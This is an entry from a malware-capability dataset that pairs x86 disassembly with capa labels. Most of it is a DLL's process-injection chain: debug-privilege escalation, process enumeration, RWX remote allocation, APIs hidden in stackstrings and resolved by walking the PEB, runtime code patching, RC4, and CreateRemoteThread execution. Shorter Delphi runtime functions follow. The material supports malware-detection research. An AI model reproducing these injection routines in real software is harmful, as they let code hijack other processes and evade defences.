joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100036d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
not esi
call fcn.10003720
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
je 0x1000370e
lea ecx, [eax + 1]
mov eax, dword [esp + 0xc]
push ebx
mov edx, esi
xor ebx, ebx
mov bl, byte [eax]
and edx, 0xff
xor edx, ebx
shr esi, 8
mov edx, dword [edx*4 + 0x10009c38]
xor esi, edx
inc eax
dec ecx
jne 0x100036ef
pop ebx
mov eax, esi
pop esi
not eax
ret

Function at 0x10003720
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x10009c38
mov eax, edx
mov esi, 8
test al, 1
je 0x1000373c
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000373e
shr eax, 1
dec esi
jne 0x1000372f
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x1000a038
jl 0x10003728
pop esi
ret
Function at 0x10004a80
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, 0x1000a040
jmp 0x10004ab0

Function at 0x10004d00
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x234
push esi
call fcn.10004e00
push 0
push 2
mov dword [esp + 0x10], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10004d2f
pop esi
add esp, 0x234
ret
push ebx
push ebp
push edi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10004ddc
mov esi, dword [sym.imp.MSVCRT.dll__mbsnbcpy]
mov ebp, dword [sym.imp.MSVCRT.dll__mbslwr]
mov ebx, dword [sym.imp.MSVCRT.dll__mbsicmp]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x141]
mov byte [esp + 0x140], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x3c]
push 0x103
lea edx, [esp + 0x144]
push ecx
push edx
stosb byte es:[edi], al
call esi
lea eax, [esp + 0x14c]
push eax
call ebp
lea ecx, [esp + 0x150]
push 0x10009308
push ecx
call ebx
add esp, 0x18
test eax, eax
je 0x10004dd0
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10004d6c
jmp 0x10004dd8
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x234
ret

Function at 0x10004e00
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 8]
push 0
push ecx
push 0
push edx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
ret
Function at 0x10004e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.10004d00
test eax, eax
je 0x10004fd8
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, eax
test ebp, ebp
je 0x10004fd8
mov edx, dword [ebx + 0x24]
test edx, edx
je 0x10004f0e
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x10004f0e
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebx + 0x1c]
mov dword [esp + 0x10], 0
test eax, eax
je 0x10004fd8
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
push 0x10
push ecx
push edx
push ebp
call eax
test eax, eax
je 0x10004f0e
mov ecx, 4
mov edi, 0x100052d0
lea esi, [esp + 0x14]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x10004f0e
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret
call fcn.10005d80
test eax, eax
je 0x10004fd8
mov eax, dword [0x100093d0]
cmp word [eax], 0x5a4d
jne 0x10004fd8
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10004fd8
mov edi, dword [eax + 0x50]
push 0x40
push 0x1000
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10004fd1
mov eax, dword [ebx + 0x20]
mov dword [ebx + 0x2c], esi
test eax, eax
je 0x10004fc3
mov ecx, dword [0x100093d0]
lea edx, [esp + 0x10]
push edx
push edi
push ecx
push esi
push ebp
mov dword [esp + 0x24], 0
call eax
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10004fc3
test eax, eax
je 0x10004fc3
mov ecx, dword [0x100093d0]
mov edx, 0x100052d0
sub edx, ecx
mov dword [ebx + 0x30], edi
add edx, esi
mov eax, fcn.10005920
mov dword [ebx + 0x24], edx
mov edx, dword [0x100093d0]
sub eax, edx
push ebp
add eax, esi
mov dword [ebx + 0x28], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret
push 0x8000
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x10004ff0
Capabilities:
Create thread

Disassembly:
push ecx
push edi
mov edi, ecx
call fcn.10004e70
test eax, eax
jne 0x10005000
pop edi
pop ecx
ret
mov eax, dword [edi + 0x14]
push ebx
push esi
mov ebx, dword [eax]
cmp ebx, eax
je 0x1000506b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, dword [ebx + 8]
test esi, esi
je 0x10005061
mov ecx, dword [esi + 0x114]
mov edx, dword [edi + 0x28]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
mov eax, dword [esi + 0x118]
push 0
push ecx
push edx
push 0
push 0
push eax
call ebp
test eax, eax
je 0x1000504b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.100061b2
add esp, 4
mov ebx, dword [ebx]
mov eax, dword [edi + 0x14]
cmp ebx, eax
jne 0x10005012
pop ebp
mov ebx, dword [edi + 0x14]
mov esi, dword [ebx]
cmp esi, ebx
je 0x1000509b
mov eax, esi
mov esi, dword [esi]
push eax
mov edx, dword [eax + 4]
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
call fcn.100061b2
mov ecx, dword [edi + 0x18]
add esp, 4
dec ecx
cmp esi, ebx
mov dword [edi + 0x18], ecx
jne 0x10005074
pop esi
pop ebx
mov eax, 1
pop edi
pop ecx
ret
Function at 0x10005100
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov al, 0x6c
push ebx
mov byte [esp + 9], al
mov byte [esp + 0xe], al
mov byte [esp + 0xf], al
push esi
lea eax, [esp + 8]
push edi
mov bl, 0x65
mov edi, ecx
push eax
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], bl
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x10005166
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dl, 0x79
mov byte [esp + 0x1d], bl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x41], dl
lea edx, [esp + 0x30]
mov cl, 0x6f
mov byte [esp + 0x24], bl
mov al, 0x73
mov byte [esp + 0x28], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3d], bl
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
push esi
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], 0x64
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], 0x4d
mov byte [esp + 0x31], 0x6d
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x35], 0
mov byte [esp + 0x38], 0x57
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], 0x50
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], cl
mov byte [esp + 0x40], 0x63
mov byte [esp + 0x42], al
mov byte [esp + 0x43], al
mov byte [esp + 0x44], 0x4d
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], cl
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x4a], 0
call ebx
mov dword [edi + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push esi
call ebx
mov dword [edi + 0x1c], eax
pop edi
pop esi
pop ebx
add esp, 0x38
ret
Function at 0x10005920
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x28]
test esi, esi
je 0x10005a3f
lea eax, [esp + 4]
lea ecx, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x30], 0
mov dword [esp + 0xc], 0
call fcn.10005a50
mov ecx, dword [esp + 0x30]
add esp, 8
test ecx, ecx
je 0x10005a3f
mov eax, dword [esp + 4]
test eax, eax
je 0x10005a3f
mov dl, 0x64
mov byte [esp + 0x14], 0x49
mov byte [esp + 0x18], dl
mov byte [esp + 0x1c], dl
lea edx, [esp + 0x14]
mov byte [esp + 0x15], 0x73
push edx
push ecx
mov byte [esp + 0x1e], 0x42
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x21], 0x52
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x25], 0x50
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x28], 0
call eax
test eax, eax
je 0x10005a3f
push 0x134
push esi
call eax
test eax, eax
jne 0x10005a3f
cmp word [esi], 0x5a4d
jne 0x10005a3f
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x10005a3f
mov ecx, dword [eax + 0x28]
push 0
push 0
push esi
add ecx, esi
call ecx
mov eax, dword [esp + 0x28]
lea edx, [esp + 8]
push edx
push eax
mov byte [esp + 0x10], 0x56
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0x46
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], 0
call dword [esp + 0xc]
test eax, eax
je 0x10005a3f
push 0x8000
push 0
push esi
call eax
pop esi
add esp, 0x20
ret

Function at 0x10005a50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov dword [eax], 0
push edi
mov dword [ecx], 0
pushal
pushfd
xor ecx, ecx
xor ebx, ebx
mov esi, dword fs:[ecx + 0x30]
test esi, esi
js 0x10005a9a
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
inc ebx
cmp ebx, 0x200
jge 0x10005aa8
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp word [edi + 0x18], cx
jne 0x10005a7c
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x10005aa8
mov esi, dword [esi + 0x34]
lea esi, [esi + 0x7c]
mov esi, dword [esi + 0x3c]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
popfd
popal
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x10005ab9
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
pushal
pushfd
mov edi, dword [ebp + 8]
mov edi, dword [edi]
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
dec ecx
jl 0x10005b04
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x10005ad1
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x10005ad1
mov ebx, dword [edx + 0x24]
add ebx, edi
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
popfd
popal
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x10005b70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x104
xor eax, eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x114]
push edi
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x10005b83
mov edi, dword [esp + 0x120]
mov ebx, dword [esp + 0x11c]
xor ecx, ecx
mov eax, ecx
cdq
idiv edi
inc ecx
cmp ecx, 0x100
mov al, byte [edx + ebx]
mov byte [esp + ecx + 0x13], al
jl 0x10005b9e
lea edi, [esp + 0x14]
xor eax, eax
mov ecx, esi
sub edi, esi
mov dword [esp + 0x10], 0x100
mov dl, byte [ecx]
xor ebx, ebx
mov bl, byte [edi + ecx]
mov ebp, edx
and ebp, 0xff
add eax, ebx
add eax, ebp
and eax, 0x800000ff
jns 0x10005be6
dec eax
or eax, 0xffffff00
inc eax
mov bl, byte [eax + esi]
inc eax
mov byte [ecx], bl
mov byte [eax + esi - 1], dl
mov edx, dword [esp + 0x10]
inc ecx
dec edx
mov dword [esp + 0x10], edx
jne 0x10005bc5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x10005c10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, dword [esp + 0xc]
xor eax, eax
xor ecx, ecx
push edi
mov edi, dword [esp + 8]
test edx, edx
jle 0x10005cab
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x1c], edx
sub ebp, esi
inc eax
and eax, 0x800000ff
jns 0x10005c45
dec eax
or eax, 0xffffff00
inc eax
mov dl, byte [eax + edi]
mov ebx, edx
and ebx, 0xff
add ecx, ebx
and ecx, 0x800000ff
jns 0x10005c62
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [ecx + edi]
mov byte [esp + 0x14], dl
mov byte [eax + edi], bl
mov ebx, dword [esp + 0x14]
mov byte [ecx + edi], dl
xor edx, edx
mov dl, byte [eax + edi]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x10005c90
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + edi]
mov bl, byte [esi + ebp]
xor dl, bl
inc eax
mov byte [esi], dl
mov edx, dword [esp + 0x1c]
inc ecx
inc esi
dec edx
mov dword [esp + 0x1c], edx
jne 0x10005c36
pop esi
pop ebp
pop ebx
mov ecx, 0x40
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
ret
Function at 0x10005d80
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
jne 0x10005da0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
push str.GetProcAddress
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esp + 0x14], eax
push ebp
jne 0x10005dc5
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [0x100093d0]
cmp word [esi], 0x5a4d
je 0x10005de2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
je 0x10005df8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov cl, 0x34
push 0xf
mov byte [esp + 0x30], cl
mov byte [esp + 0x34], cl
mov byte [esp + 0x20], cl
mov byte [esp + 0x24], cl
lea ecx, [esp + 0x2c]
mov bl, 0x78
push ecx
mov dl, 0x56
mov al, 0x12
push 0x100
push esi
mov byte [esp + 0x38], 0x48
mov byte [esp + 0x39], 0xb8
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], dl
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0x48
mov byte [esp + 0x43], 0x89
mov byte [esp + 0x44], 0x44
mov byte [esp + 0x45], 0x24
mov byte [esp + 0x46], 8
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x29], 0xb8
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x48
mov byte [esp + 0x33], 0x89
mov byte [esp + 0x34], 4
mov byte [esp + 0x35], 0x24
call fcn.10005cc0
lea edx, [esp + 0x28]
push 0xf
push edx
push 0x100
push esi
mov edi, eax
call fcn.10005cc0
add esp, 0x20
cmp edi, 0xffffffff
mov ebx, eax
je 0x10005ef5
cmp ebx, 0xffffffff
je 0x10005ef5
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0x40
push 0x1000
push fcn.10005a50
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10005dee
mov eax, ebp
cdq
mov dword [edi + esi + 2], eax
mov eax, dword [esp + 0x14]
mov dword [edi + esi + 6], edx
cdq
mov dword [ebx + esi + 2], eax
mov dword [ebx + esi + 6], edx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x28
ret
Function at 0x4046f4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004068b0
test esi, esi
jne 0x40472a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00406a18
jmp 0x404748
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404638
mov edi, eax
test esi, esi
je 0x404748
cmp dword [ebx], 0
je 0x404748
dec esi
jmp 0x404731
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x40565c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00405a48
mov byte [esp], al
cmp byte [esp], 0
jne 0x4057e5
test edi, edi
je 0x4057e5
mov byte [esp + 1], 0
test ebp, ebp
jle 0x40571c
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x4056f7
cmp edi, 0xffffffff
je 0x4056bb
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4056bb
mov byte [esp], 0
jmp 0x4057e5
mov ebx, dword [esi]
cmp ebx, 1
jg 0x4056f7
test ebx, ebx
jne 0x4056f0
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.00402568
test eax, eax
jne 0x4056f0
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x4057e5
pause
dec ebp
test ebp, ebp
jg 0x4056a0
cmp edi, 0xffffffff
je 0x40571c
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40571a
mov byte [esp], 0
jmp 0x4057e5
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40566a
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.00402568
cmp ebx, eax
jne 0x40571c
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00405858
mov edx, eax
mov ebx, dword [0x4d78cc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x405783
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x405781
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x405783
xor edi, edi
cmp byte [esp], 0
je 0x4057ac
mov ebx, dword [esi]
test bl, 1
jne 0x4057c5
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.00402568
cmp ebx, eax
jne 0x405789
mov byte [esp + 1], 1
jmp 0x4057c5
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.00402568
cmp ebx, eax
jne 0x4057ac
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x405736
cmp byte [esp], 0
je 0x4057e5
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x406560
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4d7054], 0
je 0x4065c1
cmp word [0x4d7330], 0xd7b2
jne 0x406589
cmp dword [0x4d7338], 0
jbe 0x406589
mov eax, 0x4d732c
call dword [0x4d7348]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4065ec
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4d3028], 0
jne 0x4065dd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40676c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x4d302c], 0
je 0x406797
mov edx, edi
mov eax, esi
call dword [0x4d302c]
mov ebx, eax
jmp 0x4067a8
mov eax, 8
call fcn.0040436c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x4d7055], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x406734
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x4067dd
mov edx, 8
mov eax, ebx
call fcn.00404388
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x408920
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x408a85
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004068b0
cmp si, word [0x4d37dc]
jb 0x4089b8
cmp si, word [0x4d39dc]
ja 0x4089b8
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x4089b8
mov ebx, dword [ebp - 8]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x4d37dc]
jae 0x408992
mov edi, ebx
dec edi
jmp 0x4089b3
cmp si, word [ebx*8 + 0x4d37dc]
jbe 0x4089a2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x4089b3
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x4d37e0]
call fcn.00408830
jmp 0x4089b8
cmp edi, dword [ebp - 8]
jae 0x40897c
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x408a67
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x408a67
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.00407280
push dword [ebp - 0x160]
push 0x408aa0
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.00407280
push dword [ebp - 0x164]
push 0x408ab0
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.00407280
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.004074b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408a8c
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00406910
ret
Function at 0x408c38
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408d3b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4d9b55
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x4d9b6e]
jne 0x408c84
mov eax, esi
mov edx, 0x4d9b70
mov ecx, 0x55
call fcn.00407280
push 0x4d9b55
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x408d25
push 0x4d9b55
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.004068b0
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x408cf3
cmp byte [0x4d9b54], 0
je 0x408cb8
mov edx, esi
mov eax, ebx
call fcn.00408b1c
jmp 0x408cf3
mov edx, esi
mov eax, ebx
call fcn.00408920
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x408cf3
cmp dword [esi], 0
je 0x408cdc
mov eax, esi
mov edx, 0x408d54
call fcn.004073d8
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00408920
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004073d8
push 0x4d9b55
call sub.kernel32.dll_EnterCriticalSection
mov word [0x4d9b6e], bx
push 0xaa
mov eax, dword [esi]
call fcn.004071f4
push eax
push 0x4d9b70
call sub.kernel32.dll_lstrcpynW
push 0x4d9b55
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408d42
lea eax, [ebp - 4]
call fcn.004068b0
ret